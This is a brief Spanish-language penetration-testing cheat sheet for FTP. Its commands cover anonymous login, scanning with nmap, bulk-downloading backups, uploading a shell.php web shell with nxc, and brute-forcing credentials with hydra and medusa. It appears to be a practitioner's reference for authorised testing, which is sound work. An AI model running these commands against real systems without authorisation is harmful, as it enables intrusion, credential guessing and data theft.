21 - FTP
#ftp #nullsession #bruteforce #ActiveDirectory #pentestinterno
bash
ftp IP
anonymousbash
nmap -p 21 --script ftp-anon -iL ips.txt -oN 21_nmap.txt --openbash
wget -r ftp://ftp.servidor.com/ruta/bash
wget -r --ftp-user=usuario --ftp-password=clave ftp://ftp.servidor.com/ruta/Subir archivo
put <file>Si no se puede así:
bash
nxc ftp IP -u admin -p admin --put /mnt/Windows/Hacking/tools/shell.php shell.phpQuitar modo pasivo
229 Entering Extended Passive Mode (|||49163|)
^C
receive aborted. Waiting for remote to finish abort.
ftp> passive
Passive mode: off; fallback to active mode: off.Si no se puede descargar, poner en modo bin
binA veces no funciona desde el cliente, se puede con wget o curl:
wget --no-passive-ftp ftp://anonymous:@IP/Backups/backup.mdbbash
curl -O ftp://anonymous:@IP/Backups/backup.mdbBruteforce
bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 32 IP ftpbash
medusa -u admin -P /usr/share/SecLists/Passwords/xato-net-10-million-passwords-10000.txt -h IP -M ftp -f -t 32 | grep SUCCESSbash
hydra -I -V -f -L usernames.txt -u -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt IP ftp